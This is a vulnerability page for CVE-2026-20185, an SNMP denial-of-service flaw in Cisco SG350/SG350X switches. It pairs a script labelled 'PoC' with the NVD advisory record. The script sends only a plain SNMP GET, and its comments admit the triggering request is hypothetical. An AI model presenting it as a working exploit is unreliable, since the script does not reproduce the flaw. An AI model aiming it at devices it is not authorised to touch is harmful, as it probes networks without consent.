CVE-2026-20185

#!/usr/bin/env python3 # PoC for CVE-2026-20185 # Requires: pip install pysnmp # Note: The specific OID or data pattern triggering the vulnerability is hypothetical based on the description. # Actual exploitation requires the specific crafted request mentioned in the advisory. from pysnmp.hlapi import * def send_snmp_packet(ip, community, oid): """ Sends an SNMP Get request to the target. """ error_indication, error_status, error_index, var_binds = next( getCmd(SnmpEngine(), CommunityData(community), UdpTransportTarget((ip, 161)), ContextData(), ObjectType(ObjectIdentity(oid))) ) if error_indication: print(f"Error: {error_indication}") elif error_status: print(f"Error: {error_status.prettyPrint()} at {error_index}") else: for var_bind in var_binds: print(f"{var_bind[0]} = {var_bind[1]}") if __name__ == "__main__": target_ip = "192.168.1.1" # Replace with target IP snmp_community = "private" # Replace with valid read-write community string # The vulnerability likely involves a specific OID or malformed request. # Replace with the specific OID mentioned in technical advisories if available. target_oid = "1.3.6.1.2.1.1.1" print(f"Sending packet to {target_ip}...") send_snmp_packet(target_ip, snmp_community, target_oid)

{"cve": {"id": "CVE-2026-20185", "sourceIdentifier": "[email protected]", "published": "2026-05-06T17:16:21.050", "lastModified": "2026-05-06T18:59:53.230", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the Simple Network Management Protocol (SNMP) subsystem of Cisco 350 Series Managed Switches (SG350) and Cisco 350X Series Stackable Managed Switches (SG350X) firmware could allow an authenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. \r\n\r\nThis vulnerability is due to improper error handling when parsing response data for a specific SNMP request. An attacker could exploit this vulnerability by sending a specific SNMP request to an affected device. A successful exploit could allow the attacker to cause the device to reload unexpectedly, resulting in a DoS condition.\r\nThis vulnerability affects SNMP versions 1, 2c, and 3. To exploit this vulnerability through SNMPv2c or earlier, the attacker must know a valid read-write or read-only SNMP community string for the affected system. To exploit this vulnerability through SNMPv3, the attacker must have valid SNMP user credentials for the affected system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sg350-snmp-dos-GEFZr2Tj", "source": "[email protected]"}]}}